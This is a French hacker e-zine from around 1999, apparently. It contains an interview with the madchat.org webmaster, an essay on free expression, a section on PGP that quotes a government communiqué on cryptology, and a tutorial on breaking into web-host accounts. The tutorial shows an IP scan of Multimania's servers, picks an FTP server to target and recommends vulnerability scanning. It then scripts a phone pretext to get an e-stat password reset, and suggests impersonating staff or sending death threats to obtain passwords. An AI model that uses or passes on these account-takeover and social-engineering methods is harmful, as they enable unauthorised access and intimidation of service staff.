3/ Interview
J'ai réalisé une ch'tite interview basé sur l'opinion de quelqu'un dont beaucoup de gens auront entendu parler. J'ai essayé de sortir d'un contexte matériel au cours de l'interview pour me reporter ailleurs, enfin, regardez par vous même:
<[mAdchAt]> Salut Clad
<Clad Strife > Salut mad
<Clad Strife > Alors Tu as eu plusieurs pseudos, mais pour
faire paraitre plus officiel tu as gardé celui de madchat. D'après
ce que l'on sait tu es le webmaster de madchat.org qui n'a qu'un seul but
(pas la domination planetaire par la saturation médiatique), c'est
de diffuser la notion de culture underground de manière insidueuse
à travers les zines.
<[mAdchAt]> Oui, d'ailleurs, cette phrase
[la domination.. etc] c'est une private joke qui est la translation du
sogan de CdC je crois.Encore une fois, disons faire un peu passer les idees
underground au grand public....
<Clad Strife > Dis moi, tu as quel âge?
<[mAdchAt]> j'ai 20 ans
<Clad Strife > Tu as un métier ou tu es encore étudiant?
<[mAdchAt]> Je suis etudiant en Chiropratique
a Atlanta depuis plus d'un an
<[mAdchAt]> http://www.chiropratique.org [
Site que j'ai realise pour l'assoc francaise de chiro] c la 2 emme profession
de sante aux US
<[mAdchAt]> Disons que la Chiro est a la medecine
ce que l'etat est a l'underground :)
<Clad Strife > ouioui pas d'urls merci :)))
<[mAdchAt]> donc ca se rejoins
<Clad Strife > D'accord on se fait une idée
<Clad Strife > Tu comptes passer ta vie aux Etats-Unis?
<[mAdchAt]> J'en sais rien, probablement pas,
sauf si j'ai une bonne opportunite pour repondre a ta question concerant
un job/etudes - je bosse aussi comme admin dans mon universite de chiro
.. fo bien vivre
<Clad Strife > ça gagne beaucoup ça?
<[mAdchAt]> 4000 F par mois souvent moins,..
mais je glande que dalle :)
<Clad Strife > payer à ne rien foutre: mon reve :-)
<[mAdchAt]> vi c'est ca, tant que je suis
sur l'horloge, je suis paye :)
<Clad Strife > Qu'est-ce qui t'a poussé à t'intéresser
à l'underground?
<[mAdchAt]> J'avais 15 ans je crois, et j'avais
cree mon BBS 'underground' appelle SiLK, sur Reims 51, c'est la que j'ai
eut pas mal de contacts avec des mecs qui ecrivaient des mags, du hack,
du warez.. etc.. c'etait vraiement bon esprit ! C'est un peu ce que j'ai
essaye de recreer avec la Mailing list et le serveur de news groups de
madchat : une petite scene qui s'entraide et se connait...
<Clad Strife > et le bon esprit marche tjrs aussi bien?
<[mAdchAt]> Sur internet, pas vraiment, on
fait de notre mieux avec madchat
<Clad Strife > passke je suppose que c'est important de bien
s'entendre avec ceux qui vous lisent chaque semaine.
<Clad Strife > Tu reçois beaucoup de mails (à
part les miens)?
<[mAdchAt]> lol :)
<Clad Strife > Ils te disent koi en général?
<[mAdchAt]> bah 50 par jour environ cad 50
mails personnels, sans compter tout le reste que je dois lire egalement.
C'etait pire avant la creation de la 'Team' mAdchAt les mecs m'aident vraimenbt
beaucoup en ce moment.
<Clad Strife > Quels genre d'aides t'apporte cette 'Team'?
<[mAdchAt]> Bah K s'occupe de creer un nouveau
design et de l'IRC, Tobo s'occupe des robots PHP et CGI, Wolf et Ulysse
de la Mailing List et des News, y'a aussi Cybz, Taz, Solid-Snake, Tezca,
Veinscuts, Night04, ... :)
<Clad Strife > finalement toi tu fais plus rien koi!! :)
<[mAdchAt]> hehe oui je fous plus rien maintenant
:) disons que je fait de la Comm interne.. :)
<[mAdchAt]> Mais c'est interessants, car on
a vraiment tous la meme philosophie, a terme, j'espere pouvoir me retirer
dans un monastere.
<Clad Strife > k
<Clad Strife > Pis as-tu des projets pour madchat?
<[mAdchAt]> Oui, pour l'an 2000 on a place
des bombes dans toutes les grands bourses europeenes... lol
<Clad Strife > *voyez chers lecteurs la mentalité de
votre idole* :)
<[mAdchAt]> Disons que madchat va devenir
plus interractif, a la facon de Slashdot ou de freshmeat, les auteurs enverront
leurs mags et feront eux meme leur description.. tout sera gere par une
grande base de donnees.
<Clad Strife > ça c'est déjà moins évident
pour nous, parce que tu peux être sur que les auteurs manqueront
parfois d'objectivité
<[mAdchAt]> Oui, donc il y aura cette base
de donnes, mais les descriptions de madchat sur les pages web resteront
comme elles sont actuellement.. cela fera 2 points de vues...
<Clad Strife > celui de l'auteur et
celui de madchat
<[mAdchAt]> Voila, celui de la team...
<Clad Strife > Si tu étais surfer,
que tu visitais madchat, quel opinion regarderais-tu en premier, celle
de madchat ou du webmaster?
<[mAdchAt]> Celle de mAdchAt :)
<Clad Strife > M'aurait étonné...
^^
<Clad Strife > Un autre sujet qui aurait
surement intéressé beaucoup de lecteurs de mon interview:
quelques détails sur ta vie actuelle par rapport à l'underground.
As-tu eu des démélés avec la police, des mails de
menaces?
<[mAdchAt]> Oui, mais je n'en parlerais pas
ici.
<Clad Strife > Même sans en parler,
est-ce que ces démélés risquent de compromettre l'avenir
de madchat?
<[mAdchAt]> Je ne peux pas en dire plus, disons
que mAdchAt devrait continuer et que l'on fait tout pour en ce moment.
<Clad Strife > Tu sais que vis à
vis de la loi tu es responsable de ce que tu diffuses puisque tu héberges
les zines.
<[mAdchAt]> Non, je ne les heberge plus, ce
sont des liens vers 'Shif2Mags' un site sur Xoom qui se charge de referencer
tous les zines qui sortent. De plus le disclaimer semble adapte. La police
a surtout des problemes de comprehension globale de ce que nous faisons,
ils croyaient
<Clad Strife > de toutes manières
ce genre de démélés ne dure pas longtemps car les
flics comprenne pas grand chose
<[mAdchAt]> Non je dois me la fermer a ce
sujet ..
<[mAdchAt]> Nous ne sommes pas (Note
de Clad après correction: pas ou plus? ça serait intéressant
d'approfondir le sujet) en democratie, le
pouvoir fait toujours ce qu'il veut, quel que soit le regime, quelles que
soit les apparences.
<Clad Strife > Bien sur, sinon il n'y aurait pas de pouvoir...
<[mAdchAt]> Neanmoins, il est egalement possible
que le pouvoir ne veulent pas 'Que' le mal des individus, le but de madchat
est de faire en sorte que ces individus puissement simplement faire leur
opinion en connaissance de cause.
<Clad Strife > dans la situation actuelle de cette fin du
millénaire, à qui penses-tu que le pouvoir profite?
<[mAdchAt]> Question difficile, beaucoup de
theories a ce sujet.
<Clad Strife > c ce que je me déchire à écrire
pour les lecteurs ^_^
<[mAdchAt]> heheh :)
<Clad Strife > Pis sinon, penses-tu que la diffusion de zines
(qui se veulent anti-oppression et anti-monopole), puisse, dans l'inconscient
de chacun, changer un point de vue une idéologie faite vis à
vis de ceux qui ont le pouvoir?
<[mAdchAt]> C'est le but en effet.
<Clad Strife > Bien que l'on puisse cerner "l'inconscient"
de madchat qui forme presque un seul mouvement, au début, le but
de madchat ça a été koi? Quel idéal t'a poussé
à faire ton site?
<[mAdchAt]> Ok, l'ideal c'est un peu l'ideal
Hacking, cad une circulation libre des connaissances et de l'information,
un peu l'ideal Peace & Love remis a la mode 2000 :) Les choses evoluent
d'ailleurs.. les hackers ne sont plus consideres comme des delinquants
par la plupart des gens, mais comme des individus qui cherchent le bien
de la societe. Ironie du sort :)
<Clad Strife > Si l'on suit ton idée, le fait de mettre
des ezines à caractère violents ou anarchistes ne vient pas
à contredire ce que tu as dit --> Peace & Love?
<[mAdchAt]> L'anarchie n'a rien de mechant,
<Clad Strife > y'a les 2 , j'avoue que tu diffuses parfois
des textes sadiks
<[mAdchAt]> Les zines violents ne sont pas
publies, sauf s'ils apportent une certaine athmosphere, un certain esprit.
<Clad Strife > c'est ça la liberté d'expression
en effet, mais le fait de ne pas tous les publier es-ce parce que tu:
<Clad Strife > - as peurde représailles venant d'ailleurs
<Clad Strife > - n'aime pas voir l'image "peace & Love"
défigurée par Des textes parfois stupides
<Clad Strife > - rétrécir cette marge de liberte
d'expression
<[mAdchAt]> Cela nous protege, et cela permet
en effet de rester dans la philosophie hacking
<Clad Strife > Sortons de notre "bulle" de philosphie et j'aimerais
savoir: madchat etait surtout axé hacking: pense tu nécessaire
que d'autres thèmes apparraissent? Warez, Phreaking etc? Est-ce
parceque c'est aussi de la culture underground?
<[mAdchAt]> Nous avons deja des pages Warez/Phreak,
le probleme est la 'deviance' de certains zines de cette categorie par
rapport a cette philosphie underground justement
<[mAdchAt]> Exemple: phreaker pour le fun,
ou le warez pour l'argent
<Clad Strife > oui je vois
<Clad Strife > personnellement, dans ton intime opinion, tes
textes préférés sont ceux basés sur quels thèmes?
<[mAdchAt]> 2 choses, le hacking innovant
et les textes delires [ qui sont en fait des moyens de s'amuser en faisant
passer une atmosphere creative et interessante du milieu 'underground'
]
<Clad Strife > à ce sujet: quels sont les zines que
tu conseilles à tous parce qu'ils seraient bons ou de bonne qualité?
<[mAdchAt]> Heuuu
<[mAdchAt]> Les Zines de Clad Strife, bien
sur : Hacker 2020 :)
<[mAdchAt]> Il y en a beaucoup d'autres :
NoWay, No Route, Hackoff, Deathly By, 3d13, et tout ceux avec le tag 'Philo
Excellente' sur madchat
<Clad Strife > Noroute, Noway innovent encore? Est-ce par
leur idéologie qu'ils font percevoir ou par leurs conseils (astuces
de hack)?
<[mAdchAt]> Ouaip la philo et les techniques
que l'on ne retrouve pas ailleurs
<Clad Strife > As-tu déjà fait du hack? du vrai
(les réseaux)?
<[mAdchAt]> Cad chercher des failles de secu
?
<Clad Strife > en chercher et les exploiter (facultatif)
<[mAdchAt]> Les chercher, oui, les exploiter,
non, c'est illegal :)
<Clad Strife > LoL
<Clad Strife > tu en as trouvé? de vraiment intéressantes?
<[mAdchAt]> Non je n'ai pas fait de decouvertes
exceptionnelles, mais se balader sur un nouveau systeme [consentant, bien
sur] est une experience nouvelle a chaque fois... On m'a d'ailleurs recemment
propose de l'argent pour 'hacker' le site d'un hotel, les mecs voulaient
juste connaitre le # de telephone d'une chambre et le nom de son occupant
a un moment donne..
<[mAdchAt]> Je n'ai pas accepete. Mais pousse
par la curiosite, j'ai ete faire un tour du cote du site, ca aurait ete
tres facile.
<Clad Strife > qu'est-ce qui t'as empêché
de le faire?
<[mAdchAt]> Comme quoi... cherche l'argent
par le hack n'est pas difficile... Mais ce n'est pas du tout dans ma philosophie
personnelle.
<Clad Strife > penses-tu que les ezines writers observent
une éthique commune ou pas? parce qu'à ce sujet il faudrait
s'étendre
<[mAdchAt]> A quelques variations pres, je
dirais que oui, les zines 'majeurs' ont tous plus ou moins le meme ton.
<Clad Strife > Bien que on écrive des zines sur le
piratage, comment pirater ceci, cela... Penses-tu à une notion de
pacifisme?
<[mAdchAt]> Oui la contradiction est d'ailleurs
interessante, mais la societe etant ce qu'elle est, les sittings devant
l'assemblee nationnalle [pour la france] n'auraient que peu d'effets non
?
<Clad Strife > All right.
<[mAdchAt]> D'ailleurs le but de madchat,
n'est pas que des sites se fassent hacker, mais bien une diffusion
<Clad Strife > aspect "Peace & love"....
<[mAdchAt]> pacifique d'un certain etat d'esprit,
que tu partages surement deja, lecteur de cette interview :)))
<Clad Strife > je pense que oui sinon il aurait fermé
son navigateur :)
<[mAdchAt]> A ce propos, je voudrais ajouter
que le hack de pages web, n'est que la partie hemergee de l'iceberg. Ce
qui fait mal au bateau, c'est la montagne qui est sous l'eau...
<Clad Strife > Tu connais beaucoup de gens qui touchent le
fond de l'iceberg?
<[mAdchAt]> Cad ?
<Clad Strife > Eh bien: tu connais beaucoup de hackers qui
à l'instar de K.Poulsen sont aussi doués mais moins courageux?
<[mAdchAt]> La partie non hemergee de l'iceberg
: je pense par exemple a un hack de site qui prend des informations illegales
sur ses consommateurs, le hack etant de modifier leurs bases de donnes
par exemple.
<Clad Strife > ça se fait plus au niveau du site la
modification de bases de données, mais au niveau de l'intranet,
ou sur les petits sites du PC du webm
<[mAdchAt]> - Ca se fait au niveau du
serveur. La base etant generalement sur le serveur, pour permettre les
requetes dynamiques par exemple.
<Clad Strife > ça dépend des sites because l'importance
du site mais on s'éloigne du sujet héhé.
<[mAdchAt]> Ben... oui je connais des gens
qui font ca, mais peu s'en vanteront.
<Clad Strife > Oui c vrai que...
<[mAdchAt]> Bref, c'est ce que j'aurais aime
faire, si je n'avais pas pris l'orientation 'philo peace & love' ;)
<Clad Strife > - Tu t'es déjà fait pirater?
Actuellement on cherche à te pirater?
<[mAdchAt]> Arf, non je n'en ai pas peur,
je chercherais a comprendre pourquoi, quel etait le but du gars qui veut
faire ca... Ca me permettrait d'ameliorer le site, mais un email perso
suffirait :)
<[mAdchAt]> Non nous ne nous somme jamais
fait hacker, bien que le serveur ai une securite pitoyable [wingate].
<Clad Strife > Arrf c bien de dire ça: les gens vont
se ruer dessus
<Clad Strife > Mais toi personellement tu t'es déjà
fait pirater?
<[mAdchAt]> Non jamais, je n'ai d'ailleurs
jamais eut affaire a un virus qui me tienne en defaut plus de 2 minutes
:). Sinon pour madchat: l'evolution de madchat va se situer au niveau de
la banque de donnees de connaissances avec le moteur de recherche, et au
niveau de la communication parmis la scene francaise [serveur de newsgroups,
irc, mailing list, actualites sur madchat].
<Clad Strife > bizarrement je sens qu'on n'a pas fini d'entendre
parler de madchat... :)))
<[mAdchAt]> Je l'espere :)
<Clad Strife > Encouragerais-tu les jeunes newbies à
lire et à expérimenter ce qui se trouve sur ton site? Pour
etre clair à découvrir ce milieu
<[mAdchAt]> Bien sur, je les encouragerais
a se trouver une specialite et a travailler pour devenir eux meme vecteurs
de decouvertes dans leur dommaine et porteurs d'un message pour leurs concitoyens.
Ce qui peut se faire dans la legalite.
<Clad Strife > LoL
<Clad Strife > Ca risque de faire baisser ta cote de popularité
mais: est-ce que tu aprécies les lamers?
<[mAdchAt]> lol :)
<Clad Strife > en tant que lamers je veux dire ceux qui envoye
des trojans, s'la racontent sur IRC par flood chan etc....
<[mAdchAt]> Non je ne les apprecie pas du
tout, ce sont eux qui donnent a la scene son aspect de profiteurs ou de
'petits cons'. On s'amuse bien plus quand on cree quelque chose soi meme,
ou quand on cherche a depasser ses propres limites, qu'en passant ses soirees
a embeter le voisin pour sourire sur la 'betise' de la victime qui n'y
connait rien.
<Clad Strife > Voilà: -50% de visite sur ton site ;-)
<Clad Strife > Je pense quand même qu'on ne s'amuse
pas mais que l'on s'épanouit, nan?
<[mAdchAt]> Excatement, l'epanouissement de
chacun par le hacking :)
<Clad Strife > Merci pour cette interview, je pense qu'on
en sait maintenant plus sur la mentalité du webmaster d'un site
comme madchat.org.
Dans la continuité sur la liberté d'expression voici un texte que j'ai écrit:
4/ Droit d'expression et abus
Article original pour Hackoff
Par abus on parle des abus de la liberté d'expression.
Avant d'approfondir ce thème, parler du premier. Ce premier thème
regroupe un sens très vaste tant au niveau du sens que de sa justesse
dans le contexte utilisé. Je vais, bien entendu, parler de "Liberté
d'expression underground": cette liberté n'est pas une liberté,
le terme est assez mal employé. On parlerait de droit de s'exprimer,
parce que concrètement on ne devrait pas divulguer d'idées
"hors-la-loi": on n'a pas le droit d'inciter les gens à se criminaliser
ou à empiéter sur la vie des autres. En bref la loi définit
par des codes l'idée: "vit ta vie". Le droit d'expression qui nous
permet d'exprimer nos idées, aussi choquantes peuvent-elles être,
est limité. Ou bien limité à tort, ou à juste
titre. A tort ce serait quand on essaye de vous empêcher de vous
exprimer sur un thème qui n'est pas classé "outlaw" juste
parce que celà empêcherait certaines personnes de tourner
en rond. A juste titre c'est quand vos idées sont racistes (par
exemple) ou ont une tendance non modérée... Le droit de s'exprimer
sur un thème voulu est primordial, c'est ce qui fait avancer notre
société; partager ses idées et ses ressources permet
de s'enrichir tant culturellement que scientifiquement. Si on cherche à
expliquer ce que le droit d'expression apporte comme bienfaits à
l'esprit humain, je vous conseille d'aller chercher un sac de couchage.
Si l'on reste dans un cadre "underground" on peut aussi trouver
des abus. Un abus se caractérise par le fait de s'exprimer de manière
à inciter les gens qui vous lisent ou vous écoute à
faire un action, qui est étudiée à la base. On pourrait
chercher des abus dans de nombreux textes alors qu'ils ne sont pour la
plupart que totalment involontaires (ça fait partie de la subjectivité
et de la personnalité de la personne cette caractérisation).
Là où l'on peut trouver des incitations, c'est dans les textes
démagogues qui ont un but que l'orateur se garde d'exprimer clairement.
Bien que vous avez (en général compris, à moins que
l'orateur soit un très bon orateur et psychologue et s'adresse à
une catégorie de personnes) cerné l'idée générale
du texte, et où voulait en venir l'orateur, vous ne pourrez pas
accuser directement l'orateur sur ses opinions, car son texte est lui aussi
dans les limites de la "liberté du droit d'expression" et en même
temps ne porte pas atteinte (par ses propos) à la personnalité
de quelqu'un (comme peuvent le faire des propos racistes, mensongers ou
autres). Actuellement certains partis politiques (que l'on ne citera pas)
se basent sur la démagogie et profitent de la liberté d'expression
pour inciter les gens à voter pour eux. En général
s'exprimant sur une idée fixe (la regligon, les natonalités,
autres) et n'ayant pas de discours cohérent, ces partis politiques
peuvent aboutir à leurs fins, ou non selon la clairvoyance des personnes
à qui ils s'adressent. Dans l'underground il n'y a pas de réels
démagogie car l'une des bases de l'éthique de la plupart
des membres de ce mouvement, est avant tout de développer la liberté
d'expression, autour du domaine, que l'on pense être étouffée
(notamment par des organismes gouvernementaux qui font de la censure et
du cassage de réunions, à noter que le droit de réunion
est un droit fondamental, ou font taire les affaires sur lesquels certains
organismes auraient été incompétents ou accusant à
tort...). L'écriture d'e-zines permet le développement de
ce droit d'expression, car la création et la propagation de données
est largement moins contrôlable sur le net que dans la réalité:
c'est un atout que l'on exploite actuellement, qu'il serait facile de supprimer,
mais le droit d'expression reprendrait le dessus en accusant cet
état de fait "d'auto-censure" et "d'atteinte à la liberté
(humaine)"...
Trop de choses à dire, encore des choses à découvrir
et à explorer dans la psychologie et le milieu social humain face
aux nouvelles technologies, le tout est de comprendre ce qui se passe actuellement
et comment tout évolue.
5/ Hacker un compte multimania ou autre
Introduction: Article original pour IGA. A tout ceux qui
associent la reprise d'articles à leur qualité. Je vais expliquer
comment faire: aucune théorie; uniquement du technique, ça
fera plaisir. Ce genre de techniques s'apparente à celles que les
vrais hackers utilisent: donc basée surtout sur la réflexion,
et un sens de la recherche.
Savoir où chercher ses informations est essentiel,
savoir comment fonctionne un réseau, un système l'est encore
plus. A tout ceux qui apparente le brute force hacking, le flooding, les
trojans(...), au domaine des lamers: ça reste vrai sauf quand on
sait les utiliser dans un but efficace.
La technique que je vais vous présenter s'apparente
principalement sur:
- le brute force hacking
- le social engeenering
Application:
Partie1:
Nous cherchons à pirater (par exemple) le site http://www.multimania.com/912hd.
La première chose que les newbies cherchent à faire, c'est
se connecter sur multimania.com avec un programme comme VcrackFTP, et essayer
le brute force hacking avec comme login 912hd et un dico. Vous avez vu
que ça marchait? moi non, désolé. Pourtant il y a
bien un moyen. C'est là que s'instaure la recherche d'indices, vague
puis plus approfondie: d'abord de petites marques que Multimania lache.
Exemple:
Quand vous vous connectez sur un site multimania avec CuteFTP, une
fenêtre s'ouvre et le nom multimania s'affiche en ASCIIART, sauf
que c'est tellement mal présenté pour le programme que c'est
illisible. Bref, l'important est de savoir que lorsque l'on se connecte
au serveur il affiche quelque chose.
Puis la recherche plus approfondie, c'est carrément le scanning
d'IP. D'abord trouver l'ip de multimania: tracert, ou programmes et on
obtient:
195.154.132.30
C'est avec cet IP que tout va se jouer, on scann le réseau dans
une branche de 195.154.127.1 à 195.154.137.254, et on obtient (avec
les ports ouverts, donc services disponibles sur chaque serveur):
195.154.128.064 ppp-64.net10.magic.fr
195.154.128.154 ppp-154.net10.magic.fr
195.154.128.187 ppp-187.net10.magic.fr
195.154.128.232 ppp-232.net10.magic.fr
195.154.129.019 ppp-19.net11.magic.fr
195.154.129.032 ppp-32.net11.magic.fr
195.154.129.033 ppp-33.net11.magic.fr
195.154.129.034 ppp-34.net11.magic.fr
195.154.129.041 ppp-41.net11.magic.fr
195.154.129.064 NNTP POP3 IMAP4 ppp-64.net11.magic.fr
195.154.129.065 ppp-65.net11.magic.fr
195.154.129.142 ppp-142.net11.magic.fr
195.154.129.165 DNS FTP GOPH POP3 TIME IMAP4 SNMP ppp-165.net11.magic.fr
195.154.129.166 ppp-166.net11.magic.fr
195.154.129.172 ppp-172.net11.magic.fr
195.154.129.201 ppp-201.net11.magic.fr
195.154.129.229 ppp-229.net11.magic.fr
195.154.129.231 ppp-231.net11.magic.fr
195.154.130.048 DNS FTP NNTP POP3 SNMP www.continentalwaterways.fr
195.154.131.099 ppp-99.net13.magic.fr
195.154.132.030 www.multimania.com
195.154.132.035 www.multimania.fr
195.154.132.050 domo.multimania.net
195.154.132.060 dozo.multimania.net
195.154.132.100 bytex.multimania.net
195.154.132.120 xml.multimania.net
195.154.132.130 DNS ns.multimania.net
195.154.132.131 moon.multimania.net
195.154.132.132 DNS FTP NNTP POP3 SMTP hop.multimania.net
195.154.132.133 DNS ta.multimania.net
195.154.132.134 ga.multimania.net
195.154.132.135 da.multimania.net
195.154.132.136 ha.multimania.net
195.154.132.137 DNS tic.multimania.net
195.154.132.138 tac.multimania.net
195.154.132.139 toe.multimania.net
195.154.132.140 ri.multimania.net
195.154.132.141 dynaserv.multimania.net
195.154.132.142 chat.multimania.net
195.154.132.146 qui.multimania.net
195.154.132.150 noc.multimania.net
195.154.132.151 re.multimania.net
195.154.132.152 bo.multimania.net
195.154.132.153 boot.multimania.net
195.154.132.154 tuc.multimania.net
195.154.132.155 me.multimania.net
195.154.132.156 hara.multimania.net
195.154.132.157 kiri.multimania.net
195.154.132.251 switch-1.multimania.net
195.154.132.252 core-1-gig-eth-0-sx.multimania.net
Sur ce scann on remarque que les serveurs multimania ne commenbcent à apparaitre qu'à partir de l'IP: 195.154.130.48 autrement dit: www.continentalwaterways.fr
Si on regarde les services de chaque serveur, le seul vraiment gros
c'est:
195.154.132.132 DNS FTP NNTP POP3 SMTP hop.multimania.net
C'est donc ce serveur là qu'on va penser à viser. On
se doute que c'est là que se connecte les usagers multimania pour
mettre à jour leurs pages, mais ça reste à vérifier:
Alors on se connecte par FTP (ou port 21) à hop.multimania.net
On essaye de se logger (USER/PASS), mais ça rame... Si ça
rame c'est qu'il y a du trafic sur ce serveur, si il y a du trafic c'est
qu'il est important. Vous êtes surs dans 90% des cas d'être
tombé sur le serveur ftp de multimania. De plus, MULTIMANIA s'affiche
en AsciiArt comme avec CuteFTP. Certains me dirotn: "oui mais quand on
se connecte sur son compte multimania.com/912hd, cuteftp affiche hop.multimania.net,
donc ta recherche est inutile". Non, ce n'est pas inutile, car Multimania
n'est qu'un exemple, et comme tous les exemples il sert à illustrer
une vérité générale. Déduisez-en que
ça marche pour à peu près tout les services du genre.
Bon, c'est bien beau, mais si on échoue environ 5 tentatives
de connection on est déconnecté. Donc la solution du brute
force hacking est éliminé d'office. Il faut essayer de se
logger sans les restrictions: utilisons des scanners, quand je parle de
scanners je pense surtout à Nessus:
vous rentrer une cible, et il vous en affiche les caractéristiques
avec les risques que ça comporte. Avec ce genre d'outils le piratage
devient plus aisé car en affichant tous les problèmes du
serveur et ses failles, y'a plus besoin d'aller chercher très loin
pour pirater des serveurs mal protégés. Installez Linux,
vous en serez pas moins heureux.
Ca c'était pour le piratage d'un site perso, mais ça aurait pu aller plus loin.
Partie 2:
Piratage d'un serveur. Il existe plusieurs voies pour pirater un serveur.
- Compter sur ses failles (mais je n'étudierais pas)
- Par le Social Engeenering
- Par des moyens détournés.
Je n'expliquerais pas la première, bien que ce soirt
chose à faire avant tout. Parlons du social Engeenering, et du serveur.
Parlons d'un serveur web à pirate: zipiz.com: la page n'a rien de
particulier. Comment va-t-on se démmerder pour avoir le pass? Avant
d'aller plus loin je rappelle que:
Il y a 70% de chances que les passwords de différents services
coincident. C'est sur cette faille que va reposer notre attaque:
On voit que le site est hosté par e-stat, c'est intéressant
car e-stat demande un pass pour accéder au compte utilisateur. Donc
on va sur le site estat.com. On essaye de rentrer un nom d'utilisateur
bidon, on valide sans mettre de pass. Normalement une page d'erreur de
pass ou d'utilisateur s'affiche puis on vous dit que si vous avez perdu
votre pass, voilà comment faire, etc... je dis "normalement" car
estat ne le fait pas. Il faut cliquer sur le signet "Votre compte" pour
accéder à son compte et un peu plus en bas de la page on
vous explique comment retrouver votre pass: donnez le N° de Série
de votre compte et un email sera envoyé à l'adresse qui a
été enregistrée dans vos infos. Hors vous ne pouvez
accéder à cette boite e-mail, donc va falloir ruser. D'abord
avoir le serial de l'accompte ça peut aider. On regarde la page
où il y a la bannière estat, et on regarde le source.
Le serial est : 13701523584
C'est là qu'intervient le SE.
On décide d'appeler Estat (personellement allez les voir dans
leurs bureaux: c'est 10 fois plus convaincant):
Comment retrouver les informations concernant les coordonnées
d'estat. On va sur networkssolutions.com ou on prend un programme qui fais
des DNS lookups (WS PING PRO PACK par exemple), puis on obtient diverses
infos dont l'adresse téléphone de l'administrateur. Il faut
téléphoner à ce numéro et...
Opératrice> Estat bonjour, que puis-je faire pour vous?
Vous> Bonjour, j'ai un problème avec mon compte sur estat, est-ce
que vous pourriez m'aider?
Opératrice> Eh bien nous allons voir ça: quel est votre
problème?
Vous> J'ai un compte estat mais je ne peux pas y accéder car
je n'ai plus le pass...
Opératrice> il vous suffit d'aller dans la partie "votre compte",
on vous explique comment récupérer votre password.
Vous> J'ai déjà essayé mais je n'ai encore reçu
aucun mail
(Autre alternative)
Vous> Je sais bien madame, mais j'ai changé de compte mail
Opératrice> Désolé nous ne pouvons rien faire
pour vous
(Autre alternative)
Opératrice> Alors je vais vous posez quelques questions concernant
vos informations lors de l'inscription.
Si rien ne marche commmencez à gueuler et à faire que
vous allez porter plainte. Dites que vous voulez parlez au dirigeant, etc...
Pis si ça marche toujours pas, ayez du culot ou laissez tomber.
Il y a différentes possibilités de réponse de
l'opératrice, tout dépend de la manière d'agir de
celle-ci et de sa personnalité ou conception des choses.
J'expose maintenant le cas de moyens détournés. J'expose
ça aussi simplement que rapidement car il y a quantité indénombrable
de ces moyens:
je vais caractériser ces moyens par deux ou trois exemples.
Vous connaissez quelqu'un qui travaille à Estat et pourrait
vous avoir les pass par exemple
Vous pouvez vous faire passer pour un employé ou un stagiaire
Vous pouvez envoyer des menaces de morts, ou foutre le bordel pour
avoir ces pass
etc...
5/ PGP
PGP fonctionne sur un système de clefs, c'est à dire que l'algorithme d'encryptage et de décryptage est représenté sous forme d'une clef à avoir pour crypter et décrypter un fichier crypté avec la même clé. Donc pour décrypter un texte crypté, il vous faut la clé d'encryption: aussi simple que celà. Alors bien sur ça a tous ses avantages pour garantir une parfaite fiabilité du contenu des dcuments qui circulent:
Quant à la libéralisation de la cryptologie en France, elle a plus que pris forme. A ce sujet, ce genre d'évolution montre plusieurs choses: l'Etat n'est pas un obstacle à la liberté sur l'internet. D'ailleurs un communiqué du gouvernement illustrerait mes brefs propos:
1. Cryptologie : liberté complète de l'usage en France
Face au développement des moyens d'espionnage électronique, la possibilité de crypter les communications apparaît comme une réponse efficace pour protéger la confidentialité des échanges et la vie privée.
Le Gouvernement s'est donné le temps de la réflexion. Après avoir consulté les acteurs, les experts et ses partenaires internationaux, il a acquis la conviction que les dispositions issues de la loi de 1996 ne sont plus adaptées. Elles restreignent fortement l'usage de la cryptologie dans notre pays, sans pour autant permettre aux pouvoirs publics de lutter efficacement contre des agissements criminels dont le chiffrement pourrait faciliter la dissimulation. Elles font en outre apparaître un risque d'isolement de la France par rapport à ses principaux partenaires.
Le Gouvernement a donc décidé un changement fondamental d'orientation, qui vise à rendre complètement libre l'usage de la cryptologie en France, tout en adaptant les moyens des pouvoirs publics pour garantir les libertés publiques dans ce nouvel environnement et pour lutter contre l'utilisation des moyens de chiffrement à des fins délictueuses.
Le projet de réforme législative qui sera présenté au Parlement s'articulera autour des orientations suivantes :
- offrir une liberté complète dans l'utilisation des produits de cryptologie, sous la seule réserve du maintien des contrôles à l'exportation découlant des engagements internationaux de la France (moyens de chiffrements faisant appel à des clefs d'une longueur supérieure à 56 bits) ;
- supprimer le caractère obligatoire du recours au tierces parties de confiance pour le dépôt des clefs de chiffrement. Le rôle de tiers de confiance ne sera pas limité à la gestion des clefs mais pourra s'étendre à d'autres missions, comme la certification de signatures électroniques. Le recours à ces organes et aux mécanismes d'auto-séquestre sera encouragé. Les tiers de confiance pourront notamment solliciter l'attribution d'un label auprès des pouvoirs publics ;
- permettre aux pouvoirs publics de lutter efficacement contre l'usage des procédés de chiffrement à des fins délictueuses. A cet effet, le dispositif juridique actuel sera complété par l'instauration d'obligations, assorties de sanctions pénales, concernant la remise aux autorités judiciaires, lorsque celles-ci la demandent, de la transcription en clair des documents chiffrés. De même, les capacités techniques des pouvoirs publics seront significativement renforcées.
Il faut donc changer la loi, ce qui prendra plusieurs mois. Mais le Gouvernement a voulu que les entraves qui pèsent sur les citoyens soucieux de protéger la confidentialité de leurs échanges et sur le développement du commerce électronique soient levées sans attendre. Ainsi, dans l'attente des modifications législatives annoncées, le Gouvernement a décidé de relever le seuil de la cryptologie dont l'utilisation est libre de 40 bits à 128 bits, niveau considéré par les experts comme assurant durablement une très grande sécurité.
En ce qui concerne la fourniture des produits de cryptologie, la procédure déclarative sera simplifiée, notamment par la suppression du test d'arrêt simple. Enfin, les contraintes pesant sur les tierces parties de confiance qui peuvent d'ores et déjà être modifiées par voie réglementaire seront fortement assouplies, en particulier par la suppression des exigences d'habilitation secret-défense pesant sur leurs personnels et de disponibilité 24 h sur 24.
2. Données personnelles : assurer un haut niveau de protection
La transposition de la directive européenne de 1995 relative à la protection des données à caractère personnel doit permettre d'adapter le cadre juridique interne à la généralisation du traitement informatique des données et à l'essor de l'internet. Elle doit garantir la préservation des droits aussi fondamentaux que la liberté individuelle et le respect dû à la vie privée.
La transposition de la directive, loin d'affaiblir les garanties légales aujourd'hui offertes aux citoyens, aura pour objet d'assurer à ceux-ci un haut niveau de protection.
Dans cette optique, les orientations que le Gouvernement proposera viseront notamment au renforcement :
- des moyens de la Commission nationale de l'informatique et des libertés (CNIL),
- du pouvoir de contrôle de la CNIL. En particulier, la CNIL devra être en mesure de mieux exercer son pouvoir de contrôle a posteriori dans le domaine, en expansion rapide, du traitement des données à des fins commerciales.
3. Documents numériques et signature électronique : lever les obstacles juridiques
